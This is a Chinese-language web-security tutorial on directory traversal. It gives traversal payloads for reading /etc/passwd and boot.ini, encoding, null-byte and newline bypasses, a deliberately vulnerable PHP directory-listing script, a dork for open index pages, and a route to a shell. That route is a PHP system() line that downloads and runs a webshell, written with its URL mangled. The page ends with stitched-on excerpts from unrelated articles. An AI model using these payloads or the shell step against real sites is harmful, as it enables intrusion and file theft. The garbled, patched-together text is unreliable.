web安全目錄遍歷漏洞學習及繞過

2021-10-23 10:29:15 字數 2558 閱讀 9563

路徑遍歷攻擊(也稱為目錄遍歷)是指在訪問儲存在web根目錄資料夾之外的檔案和目錄。通過操縱帶有「點-斜線(…)」序列及其變化的檔案或使用絕對檔案路徑來引用檔案的變數,可以訪問儲存在檔案系統上的任意檔案和目錄,包括應用程式源**、配置和關鍵系統檔案。

需要注意的是,系統操作訪問控制(如在微軟windows作業系統上鎖定或使用檔案)限制了對檔案的訪問許可權。

這種攻擊也稱為 「點-點斜線」、「目錄遍歷」、「目錄爬公升」和「回溯」。

搭建乙個存在目錄遍歷漏洞的虛擬機器,做個實驗。

使用owasp zap進行漏洞掃瞄,挖掘漏洞。

然後複製它的url到瀏覽器檢視該漏洞

目錄遍歷的漏洞通過../../../這樣的形式來進行目錄讀取伺服器中的檔案,../../../../越多多好,因為在終端中,../是返回上一級目錄,到根目錄使用../會返回當前頁面。

一般發現目錄遍歷的漏洞的探針,也就是測試的時候往往是使用這樣的payload

../../../../../../../../../../../../../etc/passwd

看是否會返回該檔案的內容,這就造成了目錄遍歷的漏洞產生。

還可以本地利用php環境搭建乙個讀取檔案的指令碼。來實現目錄遍歷。

<?php 

$dir_path

=$_request

['path'];

$page

=scandir

($dir_path);

var_dump

($page);

?>

加密引數傳遞的資料

有的**程式傳遞引數後會進行base64加密(當然也會有其他加密),導致我們傳遞的引數無法解析,所以就無法利用目錄遍歷,而繞過方式也很簡單,就是先對引數進行base64加密後再進行傳參。如:?page=btbyzs50ehq=編碼繞過

進行傳參時將引數進行編碼,實現繞過,比如url編碼。?page=%6d%30%72%65%2e%74%78%74目錄限定繞過

有些web應用程式是通過限定目錄許可權來分離的。可以使用一些特殊的符號~來繞過。比如提交這樣的***.php?page=~/../boot。就可以直接跳轉到硬碟目錄下。

繞過檔案字尾過濾

一些web應用程式在讀取檔案前,會對提交的檔案字尾進行檢測,攻擊者可以在檔名後放乙個空位元組的編碼,來繞過這樣的檔案型別的檢查。

比如:../../../../boot.ini%00.jpg,web應用程式使用的api會允許字串中包含空字元,當實際獲取檔名時,則由系統的api會直接截短,而解析為../../../../boot.ini

在類unix的系統中也可以使用url編碼的換行符,例如:../../../etc/passwd%0a.jpg如果檔案系統在獲取含有換行符的檔名,會截短為檔名。也可以嘗試%20,例如:../../../index.php%20繞過來路驗證

還有就是web伺服器配置不當而造成的目錄遍歷漏洞,

可以使用谷歌語法進行查詢。

intitle: index of
隨便選擇乙個開啟就是了。

可以對提交的引數進行多次編碼或者多種加密。上面的幾種繞過方式進行組合使用。

利用目錄遍歷漏洞獲取shell思路

$ip

='10.0.2.4'

;// change this

$port

=4444

;// change this

然後進行利用,建資料庫資料表,

然後插入字段

寫入<?php system("cd /tmp;wget +x webshell.php;php webshell.php");?>

拿到乙個較低許可權的shell

如何將此類低許可權提公升至root許可權。我另寫了一篇是關於www-data提權的文章。

目錄遍歷漏洞

一.什麼是目錄遍歷漏洞 目錄遍歷 路徑遍歷 是由於web伺服器或者web應用程式對使用者輸入的檔名稱的安全性驗證不足而導致的一種安全漏洞,使得攻擊者通過利用一些特殊字元就可以繞過伺服器的安全限制,訪問任意的檔案 可以使web根目錄以外的檔案 甚至執行系統命令。二.目錄遍歷漏洞原理 程式在實現上沒有充...

目錄遍歷漏洞

二 目錄遍歷漏洞第二種情況 windows作業系統目錄遍歷攻擊 uri編碼形式的目錄遍歷攻擊 unicode utf 8編碼形式的目錄遍歷攻擊 當微軟向他們的web服務增加unicode支援時,一種新的編碼方式 被引入,也正是這一舉動最終引入了目錄遍歷攻擊。許多帶百分號的編碼方式 例如 c1 1c ...

Web安全漏洞

web的大多數安全問題都屬於下面三種型別之一 1 伺服器向公眾提供了不應該提供的服務。2 伺服器把本應私有的資料放到了公開訪問的區域。3 伺服器信賴了來自不可信賴資料來源的資料。顯然,許多伺服器管理員從來沒有從另乙個角度來看看他們的伺服器,例如使用埠掃瞄程式。如果他們曾經這樣做了,就不會在自己的系統...